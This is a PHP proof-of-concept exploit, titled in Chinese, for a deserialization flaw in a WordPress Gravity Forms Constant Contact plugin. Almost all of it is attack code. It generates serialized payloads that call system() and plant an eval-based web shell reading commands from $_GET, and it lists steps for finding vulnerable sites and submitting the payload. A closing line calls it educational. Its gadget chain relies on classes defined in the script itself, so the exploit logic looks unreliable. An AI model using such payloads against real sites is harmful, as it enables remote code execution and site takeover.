CVE-2025-60174 WP Gravity Forms Constant Contact插件反序列化漏洞

<?php /** * CVE-2025-60174 PoC - WP Gravity Forms Constant Contact Object Injection * Vulnerability: Deserialization of Untrusted Data * Affected: WP Gravity Forms Constant Contact Plugin <= 1.1.2 * * This PoC demonstrates the object injection vulnerability by generating * a malicious serialized payload that can trigger code execution. */ // Using PHPggc style payload generation class GFConstantContact { // Malicious class that will be auto-loaded during deserialization } // Example POP chain using built-in PHP classes class Payload { public $callback; public $args; public function __construct() { // Using system() to execute arbitrary commands $this->callback = 'system'; $this->args = ['id > /tmp/pwned']; // Write output to file } } // Generate malicious serialized payload $payload = new Payload(); $exploit = serialize($payload); echo "[*] CVE-2025-60174 Exploit Payload\n"; echo "[*] Payload length: " . strlen($exploit) . " bytes\n\n"; echo "Serialized payload (URL encode before sending):\n"; echo urlencode($exploit) . "\n\n"; // Alternative: Using __destruct magic method trigger class DestructTrigger { public $data; public function __destruct() { // Cleanup action that could be exploited if (isset($this->data)) { eval($this->data); // Arbitrary code execution } } } $destruct_payload = new DestructTrigger(); $destruct_payload->data = 'system($_GET["cmd"]);'; echo "Alternative Destruct-based payload:\n"; echo urlencode(serialize($destruct_payload)) . "\n"; /** * Attack Vector: * 1. Identify a WordPress site with gf-constant-contact plugin installed * 2. Find a Gravity Form configured with Constant Contact integration * 3. Submit form data with the malicious serialized payload in the plugin's * processing field (typically in form submission data) * 4. The plugin will call unserialize() on the attacker-controlled data * 5. Object injection triggers, executing the malicious code * * Note: This is for educational and security testing purposes only. */